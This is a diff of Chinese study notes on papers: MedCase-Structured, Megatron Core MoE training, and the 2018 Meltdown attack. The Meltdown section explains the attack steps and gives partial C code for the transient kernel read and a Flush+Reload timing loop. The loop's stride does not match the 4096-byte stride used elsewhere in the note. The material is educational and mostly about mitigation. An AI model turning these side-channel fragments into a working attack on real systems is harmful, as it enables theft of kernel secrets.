+---
+
+## 局限与未来方向（论文自述）
+
+1. **FHIR 资源覆盖不全**：长线病程用重复、带日期的资源近似，而非完整 temporal graph。
+2. **术语库缝隙**：LOINC 化验名口语化、疫苗商品名（CVX）、非特异性药物类仍易失败。
+3. **成像依赖病例被排除**：放射/病理描述重的病例无法进入当前生成器。
+4. **合成 ≠ 真实**：术语接地错误会传导到下游评测，需与真实世界验证互补。
+
+未来工作：扩展资源类型、加强纵向建模、扩大术语表、上下文感知校验。
+
+---
+
+## 谁应该读这篇论文
+
+| 角色 | 收获 |
+|------|------|
+| **医疗 NLP / CDSS 研究者** | 部署对齐评测范式、text-to-FHIR 流水线设计 |
+| **FHIR 工程师** | Bundle 组装、编码接地、诊断泄漏模式 |
+| **LLM 评测从业者** | 同一任务多表示（text vs JSON）的对照实验模板 |
+| **医院信息科** | 理解为何「接口标准化」不等于「模型自动变强」 |
+
+---
+
+## 速查清单
+
+1. **FHIR R4 Bundle** = 多资源 JSON 图，不是单段病历。
+2. **三阶段 LLM + 确定性接地/校验**，不是端到端一次性生成。
+3. **诊断隐藏**是评测 CDSS 的必要条件，否则标签泄漏。
+4. **82.5%** 是流水线成功率；**test 95 例**才是常用评测子集。
+5. **FHIR 输入准确率低于文本**是主结论，不是边角料。
+6. 数据集：[github.com/SystemInternal/MedCase-Structured](https://github.com/SystemInternal/MedCase-Structured)
+7. 上游病例：[github.com/kevinwu23/Stanford-MedCaseReasoning](https://github.com/kevinwu23/Stanford-MedCaseReasoning)
+
+---
+
+## 参考文献
+
+```bibtex
+@article{buimuti2026medcase,
+  title={MedCase-Structured: A Text-to-FHIR Dataset for Benchmarking
+         Diagnostic Reasoning in Clinically Realistic EHR Settings},
+  author={Bui Muti, Valentina and Dulout, Eug{\'e}nie and Fu, Ziquan},
+  journal={arXiv preprint arXiv:2605.30295},
+  year={2026},
+  url={https://arxiv.org/abs/2605.30295}
+}
+
+@inproceedings{wu2025medcase,
+  title={MedCaseReasoning: Evaluating and Learning Diagnostic Reasoning
+         from Clinical Case Reports},
+  author={Wu, Kevin and Wu, Eric and Thapa, Rahul and others},
+  booktitle={NeurIPS},
+  year={2025},
+  url={https://arxiv.org/abs/2505.11733}
+}
+```
+
+---
+
+## 一句话带走
+
+**MedCase-Structured 把「医生写的病例故事」翻译成「医院信息系统里会长什么样」的 FHIR，并证明：大模型在后者上的诊断推理明显更难——做临床 AI 必须在 FHIR 形态上评测，而不能只刷文本病历榜。**
diff --git a/src/content/docs/papers/megatron-core-moe-2026.md b/src/content/docs/papers/megatron-core-moe-2026.md
new file mode 100644
index 000000000..c64bb5a04
--- /dev/null
+++ b/src/content/docs/papers/megatron-core-moe-2026.md
@@ -0,0 +1,339 @@
+---
+title: Megatron Core MoE 大规模训练 — 零基础学习笔记
+来源: https://arxiv.org/abs/2603.07685
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：专科会诊中心 vs 总机接线
+
+想象你要运营一家**超大型连锁医院**（千卡 GPU 集群），里面有两种科室：
+
+- **Attention 层**像**总机 + 全科医生**：每个病人（token）都要和当天所有在院记录（上下文）对一遍话——计算模式**密集**，适合把同一份病历拆给几位医生并行看（**Tensor Parallelism, TP**）。
+- **MoE 专家层**像**32 个专科门诊**：每个病人只被分到 **Top-K 个专家**会诊——总「名医库」很大，但单次会诊只开几间诊室。若把每位专家再切成碎片（对专家矩阵做 TP），单次 GEMM 更小、GPU 更闲；更自然的做法是**把不同专家放到不同 GPU**（**Expert Parallelism, EP**），再在 GPU 之间**派单、收单**（all-to-all 通信）。
+
+旧训练框架的问题，相当于**强迫总机和专科门诊共用同一套排班表**：传统约束要求 `EP ≤ DP`（专家并行度不能超过数据并行度），Attention 想要 `TP=4` 时，MoE 层的 EP 也被迫受限——**dense 层和 sparse 层的最优拓扑互相打架**。
+
+NVIDIA 2026 年 3 月发布的技术报告 **《Scalable Training of Mixture-of-Experts Models with Megatron Core》**（arXiv:[2603.07685](https://arxiv.org/abs/2603.07685)）系统总结了 **Megatron-Core MoE** 栈：用 **Parallel Folding** 给 Attention 和 MoE **各排各的班**，再叠加内存、通信、计算三面优化，在 GB200/GB300 上把 DeepSeek-V3-685B、Qwen3-235B 推到 **900–1200+ TFLOPS/GPU** 量级。
+
+一句话：**MoE 训练不是「把 dense 训练脚本多加几个 expert 参数」——而是 memory × communication × compute 的系统共设计。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 类型 | 技术报告（Technical Report） |
+| 机构 | NVIDIA |
+| 代码 | [NVIDIA/Megatron-LM](https://github.com/NVIDIA/Megatron-LM) 的 `megatron/core/transformer/moe/` |
+| 关联论文 | [MoE Parallel Folding (2504.14960)](https://arxiv.org/abs/2504.14960) |
+| 验证模型 | DeepSeek-V3、Qwen3-235B、Mixtral、Qwen2/3 系列等 |
+| 规模 | 数十亿到**万亿**参数、**数千 GPU** 集群 |
+
+报告不是提出新的 MoE 路由算法，而是回答：**在真实硬件上，如何把 MoE 训快、训稳、训得起。**
+
+---
+
+## 为什么重要
+
+### 1. MoE 改变了「参数」与「算力」的关系
+
+Dense 模型：参数量 N 与每 token FLOPs 大致同阶增长——加卡、加算力比较「齐步走」。
+
+MoE 模型：总参数可以 685B，但每 token 只激活 ~37B（DeepSeek-V3，约 **18×** 差距）。**显存要装下全部专家**，**算力却只跑一小撮**——于是出现报告里的 **parameter-compute mismatch（参数-计算错配）**。
+
+### 2. 三面墙（Three Walls）彼此牵连
+
+| 墙 | 典型症状 | 只修一面会怎样 |
+|----|----------|----------------|
+| **Memory Wall** | 激活 > 权重；DeepSeek-V3 单卡激活可达 **131 GB** | 开 recomputation 省内存 → 通信占比暴露 |
+| **Communication Wall** | EP all-to-all 占 **20–60%** 迭代时间 | overlap 通信 → 专家 GEMM 太短，overlap 吃不饱 |
+| **Compute Wall** | 小 batch、多专家 → kernel 碎片化、MFU 低 | 上 CUDA Graph → 与 dropless 动态 shape 冲突 |
+
+Megatron-Core 的核心主张：**三面要一起调**，不能「头痛医头」。
+
+### 3. 工业界事实标准栈
+
+DeepSeek-V3、Qwen3 等模型的**预训练配置**大量出现在 Megatron-MoE-Model-Zoo；读这篇报告 ≈ 读当前大规模 MoE **系统最佳实践清单**。
+
+---
+
+## 核心概念
+
+### 1. MoE 层四阶段前向（Route → Dispatch → Compute → Combine）
+
+Megatron-Core 把 MoE 层拆成模块化流水线：
+
+```text
+输入 tokens
+  → [1 Route]     Router 选 Top-K 专家 + 路由权重
+  → [2 Dispatch]  按专家 permute + 跨 GPU 搬运（all-to-all / DeepEP / HybridEP）
+  → [3 Compute]   本地专家 Grouped GEMM（TEGroupedMLP）
+  → [4 Combine]   加权聚合 + unpermute 回原 token 顺序
+```
+
+**Router、Dispatcher、Experts** 可独立优化：换 dispatcher 不必改 expert 内核；expert 换 FP8 后端不必动 router 融合。
+
+### 2. 五维并行 + Parallel Folding
+
+传统 Megatron **dense** 并行：**TP、PP、DP、CP（Context Parallel）**。
+
+MoE 再加第五维：**EP（Expert Parallel）**——每个 rank 持 `E/EP` 个专家。
+
+**Parallel Folding** 为 Attention 与 MoE **分别定义进程组**：
+
+| 层类型 | 典型符号 | 含义 |
+|--------|----------|------|
+| Attention | TP, CP, DP | 与 dense Transformer 类似 |
+| MoE | **ETP**, **EP**, **EDP** | Expert Tensor / Expert / Expert Data Parallel |
+
+关键突破：**打破 `EP ≤ DP`**。MoE 的 EP 可以「折叠」到 Attention 的 `TP × CP × DP` 子组之上。
+
+**示例（报告 Figure 5 思路）**：256 GPU，`PP=4`，Attention 侧 `TP=4, CP=2, DP=8`；MoE 侧可设 `ETP=1, EP=64, EDP=1`——专家并行度是旧约束下的 **8×**。
+
+### 3. Token Dispatcher 三种后端
+
+| 类型 | 特点 | 适用 |
+|------|------|------|
+| **AllGather** | 实现简单 | 小规模、调试 |
+| **all-to-all** | NCCL 标准 EP 通信 | 通用 |
+| **Flex（DeepEP / HybridEP）** | 针对 NVLink / 跨节点优化 | H100、B200、GB200 生产 |
+
+HybridEP 在 GB200 上对 hidden=7168、seq=4096、256 experts 等配置，**通信延迟 consistently 低于纯 all-to-all**（跨节点差距更大）。
+
+### 4. Grouped GEMM 与 dropless MoE
+
+每个 GPU 上多个专家的小 GEMM 若逐个 launch，SM 利用率极差。**Grouped GEMM** 把「同一 rank 上所有专家的 MLP」合成一次 batched GEMM（Megablocks / Tutel / Transformer Engine 路线）。
+
+**Token dropless（dMoE）**：不丢弃过载 token，允许动态每个 expert 收到不同 token 数——更保真，但 shape 动态，与 **CUDA Graph** 冲突；Megatron 用 **sync-free execution**、细粒度 graph scope（如只 capture attention）折中。
+
+### 5. 内存优化组合拳（DeepSeek-V3 单卡 BF16 示意）
+
+报告 Table 3：`PP4 × VPP4 × EP64`，256 GPU，**未优化前 ~199.5 GB/GPU**（远超 H100 80GB）：
+
+| 组件 | 占用 | 主要手段 |
+|------|------|----------|
+| 权重+梯度 | 36.4 GB | PP / EP / TP 分片 |
+| 优化器状态 | 32.1 GB | Distributed Optimizer、BF16 moments、FSDP+EP |
+| **激活** | **131.0 GB** | FP8/NVFP4、细粒度 recomputation、offload、Memory-Efficient Permutation |
+
+**Memory-Efficient Permutation**：把 router 概率 `p_i` 从「专家输出后乘」改到「SwiGLU 激活后、第二层线性前乘」——数学等价（无 bias 时），却少存一份 expert 输出用于反传，DeepSeek-V3 上约 **省 26.3 GB** 激活，**零额外算力**。
+
+### 6. 低精度：FP8 / NVFP4
+
+MoE 训练支持 blockwise FP8、NVFP4：线性层输入存低精度 → 激活内存 **减半或 1/4**；通信量也可下降；Tensor Core GEMM 加速。需 **selective precision**（router、norm 等仍 BF16）保收敛。GB200 上 DeepSeek-V3 优化配置可达 **1048 TFLOPS/GPU**（Table 17）。
+
+### 7. 性能数字（报告摘要）
+
+| 模型 | 平台 | TFLOPS/GPU（报告峰值） |
+|------|------|------------------------|
+| DeepSeek-V3-685B | GB300 / GB200 | **1233 / 1048** |
+| Qwen3-235B | GB300 / GB200 | **974 / 919** |
+| DeepSeek-V3 | H100 ×1024 | **368**（配置不同，跨节点 EP 更重） |
+
+另：Parallel Folding 论文在 H100 上 Mixtral 8×22B 约 **49.3% MFU**，Qwen2-57B-A14B 约 **39.0% MFU**。
+
+---
+
+## 代码示例
+
+### 示例 1：用 Python 模拟 MoE 四阶段与 EP 派单
+
+下面不是 Megatron 源码，而是帮助理解 **Route → Dispatch → Compute → Combine** 与 **EP 分片** 的最小模型：
+
+```python
+import torch
+from collections import defaultdict
+
+NUM_EXPERTS = 8
+TOP_K = 2
+EP_SIZE = 4  # 4 个 GPU，每 rank 2 个专家
+HIDDEN = 16
+
+# 模拟 6 个 token、随机 router logits
+tokens = torch.randn(6, HIDDEN)
+logits = torch.randn(6, NUM_EXPERTS)
+weights, experts = torch.topk(logits, TOP_K, dim=-1)
+route_w = torch.softmax(weights, dim=-1)
+
+def ep_rank(expert_id: int) -> int:
+    """专家 e 落在哪个 EP rank"""
+    return expert_id // (NUM_EXPERTS // EP_SIZE)
+
+# --- Stage 1: Route（已完成：experts, route_w）---
+
+# --- Stage 2: Dispatch — 按 (rank, expert) 分桶 ---
+buckets = defaultdict(list)  # (rank, local_expert) -> [(token_idx, weight)]
+for t in range(tokens.size(0)):
+    for k in range(TOP_K):
+        e = experts[t, k].item()
+        r = ep_rank(e)
+        local_e = e % (NUM_EXPERTS // EP_SIZE)
+        buckets[(r, local_e)].append((t, route_w[t, k].item()))
+
+print("Dispatch buckets (rank, local_expert) -> token indices:")
+for key, pairs in sorted(buckets.items()):
+    print(f"  {key}: {[p[0] for p in pairs]}")
+
+# --- Stage 3: Compute — 每 rank 上对本地专家做 MLP（此处用恒等映射示意）---
+expert_out = torch.zeros_like(tokens)
+for t in range(tokens.size(0)):
+    acc = torch.zeros(HIDDEN)
+    for k in range(TOP_K):
+        acc = acc + route_w[t, k] * tokens[t]  # 真实场景是 Expert_MLP_e(x)
+    expert_out[t] = acc
+
+# --- Stage 4: Combine ---
+output = expert_out  # 已按 token 顺序聚合
+print("output shape:", output.shape)
+```
+
+真实训练中，**Dispatch/Combine** 是 NCCL all-to-all 或 DeepEP；**Compute** 是 `TEGroupedMLP` 一次调用多个专家。
+
+### 示例 2：Megatron-LM 训练脚本中的 MoE 与性能 flag
+
+来自官方 `megatron/core/transformer/moe/README.md` 的推荐配置片段：
+
+```bash
+# ===== 基础 MoE 结构（8 专家、Top-2、辅助负载均衡损失）=====
+--num-experts 8
+--moe-shared-expert-intermediate-size 2048
+--moe-router-load-balancing-type aux_loss
+--moe-router-topk 2
+--moe-aux-loss-coeff 1e-2
+
+# ===== Token 派单：生产环境优先 Flex + DeepEP/HybridEP =====
+--moe-token-dispatcher-type flex
+--moe-flex-dispatcher-backend deepep   # GB200 上可换 hybridep
+
+# ===== 计算与融合 =====
+--moe-grouped-gemm
+--moe-router-fusion
+--moe-permute-fusion
+
+# ===== 并行与通信 overlap =====
+--use-distributed-optimizer
+--overlap-param-gather
+--overlap-grad-reduce
+--overlap-moe-expert-parallel-comm
+--delay-wgrad-compute
+
+# ===== 内存：细粒度 recomputation（mla / moe / norm 等可选）=====
+--recompute-granularity selective
+--recompute-modules moe moe_act norm
+```
+
+**Parallel Folding** 具体 TP/EP/PP 组合需按模型与 GPU 显存迭代；Model Zoo 提供 DeepSeek-V3、Qwen3-235B 等参考 config。单机调试可用 `--fake-init-process-group` 在 **1 GPU** 上模拟分布式显存占用，先找「不 OOM 的可行并行度」。
+
+### 示例 3：Parallel Folding 配置直觉（伪 YAML）
+
+```yaml
+# 256 × GB200，DeepSeek-V3 风格（报告 Table 17 简化）
+cluster:
+  gpus: 256
+  model: deepseek_v3_685b
+
+attention_parallel:
+  pipeline_parallel: 4
+  tensor_parallel: 4      # 仅 Attention / Dense 部分
+  context_parallel: 2
+  data_parallel: 8
+
+moe_parallel:              # Parallel Folding：与 attention 解耦
+  expert_tensor_parallel: 1   # 专家不做 TP，保持 GEMM 粒度
+  expert_parallel: 64         # 可 > attention DP，打破 EP≤DP
+  expert_data_parallel: 1
+
+dispatcher:
+  type: flex
+  backend: hybridep        # NVL72 域内 EP
+
+precision:
+  compute: fp8_blockwise
+  optimizer_states: bf16
+```
+
+---
+
+## MoE 训练调参工作流（报告 Section 9 提炼）
+
+```text
+Step 1  在显存预算内找可行并行度
+        → fake-init / 估算 activation、权重、optimizer 三分量
+Step 2  最小化 TP/EP，最大化 DP（通信开销 vs 内存）
+        → EP×TP 尽量落在单节点 NVLink 域
+Step 3  跨节点优先加 PP，而非把 EP 拉过网络
+Step 4  三面墙迭代：permute 内存 → dispatcher → overlap → Grouped GEMM → FP8 → CUDA Graph
+Step 5  长上下文单独调：CP + MLA recomputation + optimizer CPU offload
+```
+
+**Guideline 记忆点**：MoE 的 EP 通信是 **medium–high** 带宽敏感；Attention 的 TP 是 **high**；PP 跨节点但 activation 不随 EP 分片——**激活常常是调 parallel mapping 的第一约束**。
+
+---
+
+## 与相关系统对比
+
+| 系统 | 侧重点 |
+|------|--------|
+| **GShard / Switch / GLaM** | MoE 算法与负载均衡先驱 |
+| **Tutel / DeepSpeed-MoE** | 早期 MoE 系统优化 |
+| **Megatron-Core MoE（本篇）** | 生产级全栈：Parallel Folding + DeepEP/HybridEP + TE Grouped GEMM + FP8/NVFP4 + 长上下文 |
+| **vLLM / SGLang** | **推理** serving；本篇是 **训练** |
+
+训练栈与推理栈问题不同：训练要存 **optimizer + 全量 expert 权重 + 反向激活**；推理只需活跃专家与 KV cache。
+
+---
+
+## 实践案例
+
+### 案例 1：DeepSeek-V3 on GB200（256 GPU）
+
+- 配置：`PP=4`，Parallel Folding，HybridEP，CUDA Graph（缓解 FP8 下 CPU launch 瓶颈）
+- 结果：**1048 TFLOPS/GPU**
+- 启示：Blackwell 上 **host 开销** 可能成为新瓶颈，graph 不是可选项
+
+### 案例 2：DeepSeek-V3 on H100（1024 GPU）
+
+- 跨节点 **EP64**，通信占主导 → DeepEP + **EP A2A overlap** + FP8 blockwise
+- 结果：**368 TFLOPS/GPU**（仍远低于 GB200，但集群可扩展）
+- 启示：**同模型不同硬件 = 不同优化栈**，不能照搬 flag
+
+### 案例 3：长上下文 256K
+
+组合 **CP + TP + selective recomputation（MLA up-proj 等）+ optimizer CPU offload**；DeepSeek-V3 在 256 Hopper GPU 上长上下文 MFU 可达短上下文的 **88%**。
+
+---
+
+## 常见误区
+
+1. **「MoE 参数多但算力省，显存应该更省」** — 错。未激活专家权重仍要驻留；激活还随层数、top-k、batch 增长。
+2. **「EP 越大越好」** — 错。EP 增大 → all-to-all 体积与次数上升；需 NVLink 域内或 overlap。
+3. **「全开 recomputation 就行」** — 错。MoE 层整层 checkpoint 会 **重跑 all-to-all**；应 **细粒度**（SwiGLU、LayerNorm、MLA up-proj）。
+4. **「Attention 和 MoE 用同一 TP/DP」** — 旧范式；大模型应评估 **Parallel Folding**。
+
+---
+
+## 延伸阅读
+
+- 报告全文：[arXiv:2603.07685](https://arxiv.org/abs/2603.07685)
+- Parallel Folding 细节：[arXiv:2504.14960](https://arxiv.org/abs/2504.14960)
+- 代码 README：[megatron/core/transformer/moe/README.md](https://github.com/NVIDIA/Megatron-LM/blob/main/megatron/core/transformer/moe/README.md)
+- 预训练 config 参考：[Megatron-MoE-ModelZoo](https://github.com/yanring/Megatron-MoE-ModelZoo)
+
+---
+
+## 小结
+
+| 你学到的 | 一句话 |
+|----------|--------|
+| 参数-计算错配 | 总参数 ≫ 每 token 计算 → 必须 EP，且内存装全量专家 |
+| 三面墙 | Memory / Communication / Compute 联动，单点优化会暴露其他瓶颈 |
+| Parallel Folding | Attention 与 MoE **分开排并行度**，打破 EP≤DP |
+| 四阶段 MoE 层 | Route → Dispatch → Compute → Combine，模块可替换 |
+| 系统优化 | Grouped GEMM、DeepEP/HybridEP、细粒度 recomputation、FP8/NVFP4、CUDA Graph |
+| 数字 | DeepSeek-V3 **1000+ TFLOPS/GPU**（GB200 级），依赖整栈而非单 trick |
+
+Megatron-Core MoE 这篇报告的价值，在于把「能训万亿 MoE」拆成**可操作的系统 checklist**——从进程组拓扑到 dispatcher 选型，从 permute 的数学等价变形到 FP8 该存哪些 tensor。下次你看到 `--moe-token-dispatcher-type flex`，知道它背后是 **Communication Wall** 上的一整套工程，而不只是一个 CLI 开关。
diff --git a/src/content/docs/papers/megatron-lm.md b/src/content/docs/papers/megatron-lm.md
index 5998c2988..19679fb42 100644
--- a/src/content/docs/papers/megatron-lm.md
+++ b/src/content/docs/papers/megatron-lm.md
@@ -2,8 +2,8 @@
 title: Megatron-LM — NVIDIA 大规模训练框架
 来源: 'Shoeybi et al., "Megatron-LM: Training Multi-Billion Parameter Language Models Using Model Parallelism", 2019'
 日期: 2026-05-29
-子分类: 模型与训练
-分类: 分布式系统
+子分类: 系统综合
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/papers/meltdown-attack-2018.md b/src/content/docs/papers/meltdown-attack-2018.md
new file mode 100644
index 000000000..1a62d32fb
--- /dev/null
+++ b/src/content/docs/papers/meltdown-attack-2018.md
@@ -0,0 +1,266 @@
+---
+title: Meltdown — 从用户空间偷读内核内存
+来源: https://meltdownattack.com/meltdown.pdf
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Meltdown: Reading Kernel Memory from User Space**（Lipp、Schwarz、Gruss 等，USENIX Security 2018；arXiv [1801.01207](https://arxiv.org/abs/1801.01207)）揭示了一类**硬件级信息泄漏**：普通用户程序**不需要 root、不需要内核漏洞**，就能读到操作系统内核映射里的内存——密码、SSH 密钥、别的进程数据都可能被拖出来。
+
+官方 PDF：[meltdownattack.com/meltdown.pdf](https://meltdownattack.com/meltdown.pdf)。同日披露的 [[spectre-attack-2018]] 利用**分支预测错误**诱骗受害代码投机执行；Meltdown 更直接——利用**乱序执行**在权限检查完成前就把「不该读的内核地址」搬进 CPU 内部流水线，再用**缓存侧信道**把秘密字节「听」出来。
+
+日常类比：
+
+> 图书馆规定「普通读者不能进珍本室」。你站在阅览室（用户态），照理够不到珍本室书架（内核内存）。但管理员为了提速，会让助理**手快先抽书**——在刷卡系统确认「你有没有权限」之前，书页可能已经翻过几页；发现你没权限后，业务作废、登记本上这笔借阅被划掉，可**书页压在复印机玻璃上留下的压痕**（CPU 缓存访问痕迹）还在。攻击者不闯珍本室，只量复印机哪块玻璃最近被压过，就能反推书页上的字。  
+> 现代 CPU 的乱序执行就是那个「手快的助理」；L1/L2 缓存就是「会留下压痕的玻璃」。
+
+一句话：**Meltdown 把「为了提速而提前执行的内存访问」变成泄密通道，让操作系统以为牢固的地址空间隔离在微架构层面晚了一步。**
+
+## 为什么重要
+
+不理解这篇论文，下面这些事都讲不清：
+
+- 为什么 2018 年 1 月全球 IT 进入「紧急补丁周」，Linux 突然上了 **KPTI**（Kernel Page Table Isolation），Windows 上了 **KVA Shadow**，macOS 做了类似改造
+- 为什么打内核补丁后，数据库、容器运行时、高频 `syscall` 的服务**明显变慢**——不是补丁写坏了，是为堵 Meltdown 付的**性能税**
+- 为什么云厂商要强调「同宿主机邻居进程」不再被默认信任，多租户隔离要重新审计
+- 为什么 CPU 厂商除了打微码，还要在新一代芯片里改硬件缓解——软件补丁救不了所有变体
+- 为什么安全圈把「侧信道」从冷门论文话题变成**每台服务器的必修项**
+
+论文强调：Meltdown **不依赖任何软件漏洞**，破坏的是**地址空间隔离**这一安全地基；在受影响系统上，攻击者可读其他进程或云虚拟机内存，**无需任何权限或特权**。
+
+## 核心概念
+
+### 1. 架构状态 vs 微架构状态
+
+CPU 有两层「状态」需要区分：
+
+| 层面 | 含义 | 攻击者能否直接读 |
+|------|------|------------------|
+| **架构状态**（architectural） | 程序员可见的寄存器、内存、程序计数器 | 非法读取会被撤销，你看不到「名义上的」秘密 |
+| **微架构状态**（microarchitectural） | 缓存行是否载入、TLB、分支预测历史等 | 可通过计时、功耗等侧信道间接观测 |
+
+Meltdown 的核心矛盾：**乱序执行撤销了架构层面的非法读取，却没有完全抹掉微架构层面的缓存痕迹。**
+
+### 2. 乱序执行（Out-of-Order Execution）
+
+现代 CPU 不会严格按程序顺序一条一条执行。为了填满流水线，会在**依赖还没算完**时先执行后面「看起来独立」的指令——例如「读内核地址」这条 load，可能在「权限检查是否通过」之前就进入内存子系统。
+
+类比：电梯门还没开，职员的手已经伸进抽屉——架构上最终会作废这次读取，但微架构层面**数据可能已被取进缓存**。
+
+### 3. 瞬态指令序列（Transient Instruction Sequence）
+
+在乱序窗口里执行、随后因异常或权限失败而被丢弃的指令，叫 **transient instructions**。它们在架构语义上「从未发生」，却可能：
+
+1. 从**用户不可访问的内核地址**读出秘密字节 `value`
+2. 用 `value` 计算 `probe[value * 4096]` 并访问该地址
+3. 把「秘密是多少」编码成「probe 数组的哪一行被载入缓存」
+
+### 4. Flush+Reload 侧信道
+
+**Flush+Reload** 是 Meltdown 选用的缓存攻击技术（Yarom & Falkner, USENIX Security 2014）：
+
+1. **Flush**：用 `clflush` 把探测数组从缓存清掉
+2. **Trigger**：触发瞬态序列，让 CPU 暗中访问 `probe[secret]`
+3. **Reload**：逐个探测 `probe[i]` 的访问时间——**缓存命中快、未命中慢**，最热的行号就是 `secret`
+
+论文报告在 Intel Core i7-6700K 上可达约 **503 KB/s** 的泄漏速率。
+
+### 5. KAISER / KPTI 缓解
+
+**KAISER**（Kernel Address Isolation to have Side-channels Efficiently Removed）把内核页表与用户页表拆开：用户态运行时**根本映射不到内核地址**，乱序 load 够不着目标。Linux 实现叫 **KPTI**；论文在披露窗口内与 Windows、macOS 厂商协同验证，这是当时最有效的软件缓解。
+
+## 攻击三步走（论文 Figure 4–5）
+
+```text
+Step 1  选择目标内核地址 addr，尝试读取 *addr → 得到秘密字节 value
+        （乱序执行可能在页错误/权限异常「提交」前完成 load）
+
+Step 2  瞬态序列：access(probe[value * 4096])
+        → 把 value 写入缓存状态（微架构 covert channel 发送端）
+
+Step 3  Flush+Reload 扫描 probe[0..255]
+        → 最热的页号 = value（covert channel 接收端）
+```
+
+重复 Step 1–3，对内核地址空间逐字节扫描，即可 dump 内核映射（含指向物理内存的窗口）。
+
+## 实践案例
+
+### 案例 1：玩具示例——三行 C 在干什么
+
+论文 Section 3 的极简示意（教学用，现代系统已缓解，不可直接当武器）：
+
+```c
+// addr：攻击者想读的内核虚拟地址（例如通过 /proc/self/mem 等途径获得线索）
+// probe：攻击者分配的大数组，256 页，每页至少 4096 字节（一页一缓存行策略）
+// value：从 addr 读出的秘密字节（0–255）
+
+value = *addr;                          // Step 1：非法读内核；乱序下可能先完成
+probe[value * 4096];                    // Step 2：用秘密值触碰 probe 某一页
+                                        // Step 3：随后用 Flush+Reload 在外层循环恢复 value
+```
+
+**逐行解释**：
+
+- `*addr` 在架构上应触发 **#GP 页保护异常** 或页错误，结果不应提交到 `value`
+- 乱序窗口里，load 可能**已经**把数据搬进内部寄存器，并沿依赖链执行 `probe[...]`
+- 异常处理撤销寄存器，但 **`probe[value*4096]` 对应缓存行可能已变热**
+- 外层 `for (i=0; i<256; i++)` 配合 `rdtsc` 计时，找出最热页号 → 重建 `value`
+
+### 案例 2：Flush+Reload 探测循环
+
+攻击的「接收端」通常是测量缓存的循环，而非「一行就读内核」：
+
+```c
+#define CACHE_LINE  512      // 典型 x86 缓存行 64B；教学常放大 stride 减少预取干扰
+#define THRESHOLD   80       // 命中/未命中的周期阈值，需校准
+
+uint8_t probe[256 * CACHE_LINE];
+int leaked_byte = -1;
+
+void flush_probe_array(void) {
+    for (int i = 0; i < 256; i++)
+        _mm_clflush(&probe[i * CACHE_LINE]);   // 清空所有探测行
+}
+
+int reload_probe(void) {
+    for (int i = 0; i < 256; i++) {
+        uint64_t t0 = __rdtsc();
+        volatile uint8_t junk = probe[i * CACHE_LINE];
+        uint64_t t1 = __rdtsc();
+        if (t1 - t0 < THRESHOLD)
+            return i;                          // 这一行刚被瞬态序列碰过
+    }
+    return -1;
+}
+
+// 典型一轮：flush → 触发含 *addr 与 probe[value*4096] 的瞬态序列 → reload_probe()
+```
+
+**要点**：
+
+- `_mm_clflush` / `clflush` 把指定缓存行逐出，保证测量前起点一致
+- `__rdtsc` 读时间戳计数器，**命中约数十周期，未命中可达数百周期**
+- `volatile` 防止编译器把探测访问优化掉
+- 实际 PoC 还需**吞掉或延迟异常**（如 `try/catch` 信号处理、Intel TSX 事务内存等），否则瞬态窗口太短；论文讨论了多种实现细节
+
+### 案例 3：KPTI 如何让 Step 1 够不着内核
+
+Linux KPTI 在每次 **syscall / 中断 / 异常** 进出内核时切换页表：
+
+```bash
+# 查看本机是否启用 KPTI（较新内核）
+grep -i pti /sys/devices/system/cpu/vulnerabilities/meltdown
+# 常见输出：Mitigation: PTI
+
+# 打补丁前后 syscall 密集场景（示意，因 CPU/内核版本而异）
+# 打补丁前：getpid() 约数百纳秒
+# 打补丁后：同机器可能涨到 1–2 微秒量级，高 QPS 服务 TPS 可降几个点
+```
+
+**解释**：
+
+- 用户态页表里**没有内核映射**，乱序 load 目标地址时更早失败或读不到真实内核内容
+- 代价是每次进内核多一次页表切换与 TLB 刷新——Redis、PostgreSQL、serverless 冷路径都会感受到
+- 后来 PCID 等硬件特性减轻部分开销，但 **安全与速度的 trade-off** 至今仍在
+
+### 案例 4：云虚拟机与「邻居不可信」
+
+论文在公有云实例上验证：同一物理机上的普通 VM，理论上可读宿主机内核映射片段。
+
+```text
+┌─────────────┐  ┌─────────────┐
+│  租户 A VM   │  │  租户 B VM   │   同一物理 CPU
+│  用户进程    │  │  用户进程    │
+└──────┬──────┘  └──────┬──────┘
+       │  Meltdown 泄漏  │
+       └────────┬────────┘
+            宿主机内核映射
+```
+
+Meltdown 说明：**Hypervisor + 内核隔离** 之上，还要假设 CPU 不乱序泄密；多租户平台除打补丁外，需审计是否仍共享易受影响的旧 CPU 池。
+
+## Meltdown vs Spectre（对照表）
+
+| 维度 | Meltdown | Spectre |
+|------|----------|---------|
+| 利用机制 | **乱序执行**，权限检查延迟 | **推测执行**，分支预测错误 |
+| 主要目标 | **内核 / 物理内存映射** | 受害进程**自己的**地址空间 |
+| 是否需要诱骗受害代码 | 否，攻击者主动读内核地址 | 是，需构造投机路径 |
+| 关键缓解 | KPTI / KAISER、微码 | retpoline、IBRS、编译器屏障等 |
+| 与软件漏洞关系 | **无** | **无**（受害者逻辑可完全正确） |
+
+两者共同点：**架构上撤销的操作，微架构缓存状态仍可能泄漏。**
+
+## 踩过的坑
+
+1. **Meltdown ≠ 软件提权漏洞**：不是「内核有个 buffer overflow」，而是 CPU 实现与隔离假设不一致。
+
+2. **补丁 ≠ 所有侧信道消失**：KPTI 主要挡 Meltdown 这条「乱序读内核」路；后续 MDS、L1TF、LazyFP 等变体仍需微码与继续隔离，不能 2018 年打一次就躺平。
+
+3. **容器 ≠ 额外硬件隔离**：Docker 默认共享宿主机内核；Meltdown 时代说明「命名空间」之上还要信任 **KPTI 是否到位**。
+
+4. **不要低估 syscall 密集场景**：静态网站几乎无感；高 QPS 数据库、消息队列必须重新做容量规划。
+
+5. **ARM 也受影响**：初版讨论以 x86 为主，但论文与后续公告表明多种 ARM 核心同样需缓解——不是「Intel 独有」。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 理解现代 CPU **乱序执行 + 缓存** 为何构成安全面
+- 解释 2018 年前后 OS / 虚拟化 / 云架构的紧急改造动机
+- 学习侧信道思维：「作废的读取仍可重建秘密」
+- 评估旧硬件池是否仍应留在多租户生产环境
+
+**不适用**：
+
